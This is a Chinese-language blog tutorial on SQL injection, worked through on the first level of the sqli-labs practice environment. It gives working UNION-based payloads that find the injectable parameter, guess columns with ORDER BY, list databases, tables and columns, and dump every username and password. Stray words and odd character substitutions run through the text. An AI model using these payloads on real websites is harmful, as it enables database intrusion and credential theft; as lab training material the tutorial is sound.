SQL注入学习

本次实验环境用的是Xampp,搭建的sqli-labsmysql

配置环境:git

下载路径https://github.com/Audi-1/sqli-labs,下载源代码,将解压好的文件夹放在xampp\htdocs文件夹下,而后修改/sqli-labs/sql-connections/db-credb.inc文件中mysql帐号密码,使之能链接上数据库github

开启apache/MySQL服务面试

 

 

 访问http://localhost:8088/sqli-labs(我端口修改成8088)sql

 

 

 点击建立数据库数据库

 

 

 

接下来进入第一关apache

 

 

 

 

在开始以前,咱们回忆一下Mysql基本操做命令。函数

 

开启MySQL服务,使用cmd命令行操做MySQL。使用mysql -u root -p,输入密码登陆MySQL(-u是指输入用户,-p是输入密码)学习

 

 查看全部数据库,show databases;命令行

 

 此时发现了刚刚,seli-labs建立的数据库security。查看数据库,use security;

 

 查看当前数据库全部表,show tables;

 

 查字段信息

 

 查看user中数据用户信息,select * from user;

 

还可使用万能的查询语句进行查库、查表、查列、查字段。

查库:select schema_name from information_schema.schemata;

 

 

查询security表:select table_name from information_schema.tables where table_schema='security';

 

 

查询users列:select column_name from information_schema.columns where table_schema='security' and table_name='users';

 

 

查字段:select id,username,password from security.users;

 

 

总结一下,咱们可使用

查库:select schema_name from information_schema.schemata;

查表:select table_name from information_schema.tables where table_schema='security';

查列:select column_name from information_schema.columns where table_name='users';

查字段:select id,username,password from security.users;

 

接下来咱们能够进行实验了,首先打开Less-1第一关尝试输入数字型?id=1实验一下效果,就是这个样子的

 

 

 

 

在正式开始学习以前咱们先打开源代码,将源代码进行调整

 

 

 

找到源代码中以下所示位置,加入代码echo $sql;将sql语句进行输出,方便咱们更清晰的去学习

 

 输入?id=1实验一下

 

 这样就能够看到,SQL语句啦

 

咱们将它放到数据库执行一下,发现获得了id=1的用户名/密码

 

查找全部内容来自users表条件是id=1的数据,那limit是什么意思呢? 

 

咱们去掉条件试一下select * from users limit 0,1;

 

 发现没有变化

 

 

limit 1,1获得了id=2的用户名密码

 

 

 

limit 2,1获得了id=3的用户名密码 

 

因此第一个参数是第几行开始,下面试一下第二个字段

 

 能够看出第二个参数是展现多少行

 因此limit 1,1第一个参数是从第几行开始,第二个参数是显示几个。

 

 知道了sql语句以后,咱们看一下第一题

 刚刚输入?id=1获得了id=1的数据,如今咱们输入?id=1'看一下

 

 

 此时页面报错了,我由于咱们多输入一个’sql语句变成了SELECT * FROM users WHERE id='1'' LIMIT 0,1没法执行因此报错了,因此此时就能够判断这里存在sql点

 

若是咱们将原来语句中闭合的单引号后面的内容注释掉的话会怎么样呢?

 

 

 此时select *from users where id='1'后面被注释因此他是能够执行成功的

 

下面可使用order by来尝试猜他的列,首先输入order by 10试一下

 

 此时提示是‘未知第10行’

而输入order by 1时页面显示正常

 

 咱们去mysql查看一下,order by是什么意思呢?

 首先看一下user表正常显示状况

 

 

 order by 10时,返回报错信息:未知第10行

 

 

order by 1时,显示和不加order by没有区别

 

下面试试order by 2,此时没有报错,可是显示顺序发生了变化,以第2列进行a-z的排序

 

order by 3时,以第三列进行了排序,原来order by是几就是以几列进行排序,那么,users表只有3列怎么办呢,接下来试一下order by 4;

 

order by 4时系统再次报错

 

这下咱们知道了,使用order by函数对表的列进行猜解,直到页面显示正常为止。

 

知道了表的列以后,咱们要作的就是查看哪一列能够进行利用。此时须要使用到union联合查询

 

但此时并无什么效果,咱们将sql语句复制到MySQL看一眼是什么缘由

 

 能够看到此时的意思应该就是:查询来自users表id=1的全部数据而且查询1,2,3,可是此时页面只能显示一行因此咱们所想的并无显示出来,此时咱们能够查询一个users表中没有的数据,使第一句显示不出内容让mysql只显示咱们union后面的信息。

这样就达到咱们的目的啦

 

咱们顺利的获得了两个回显。 

 

接下来咱们利用两个回显位置执行查询数据库版本操做

 

那么此时咱们找到了能够利用的注入点,咱们要作什么呢,查他的数据库、表、列、数据。

 首先咱们查询他的数据库呢,-1' union select 1,2,schema_name from information_schema.schemata  --+

 

 获得了第一个数据库信息

 

使用limit控制一下要输出的信息

 

第二个数据库名

 

可是此时每次只能取到一个数据,使用group_concat()函数产生一个表名的组,进行查询

 

 这样咱们就一次获得了全部数据库名

下面咱们查询表信息,使用?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables --+

 

可是此时查询到的是全部数据库的表全部表信息,咱们只须要security表,只用where 添加条件就行了-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+

 

下面是取列的数据😴-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' table_name='users' -- +

 

此时虽然是users表可是没有规定数据库因此去取了全部数据库users表的列,咱们须要加上security数据库and users表

-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' -- +

 

 这样咱们就已经取到了数据库security,表users中的列

 

这下数据库、表、列都有了,能够取出全部表中数据了,首先是用户名-1' union select 1,2,group_concat(username) from security.users -- +

 

 

 

而后是密码-1' union select 1,2,group_concat(password) from security.users -- +

 

 

这样就获得了全部用户明/密码,但分开显示看起来十分蛋疼。咱们用concat_ws()函数将username/password列拼接起来显示,-1' union select 1,2,group_concat(concat_ws('~',username,password)) from security.users --+

 

 这样就获得了全部用户名,密码的组合信息,看起来也十分方便。

相关文章
相关标签/搜索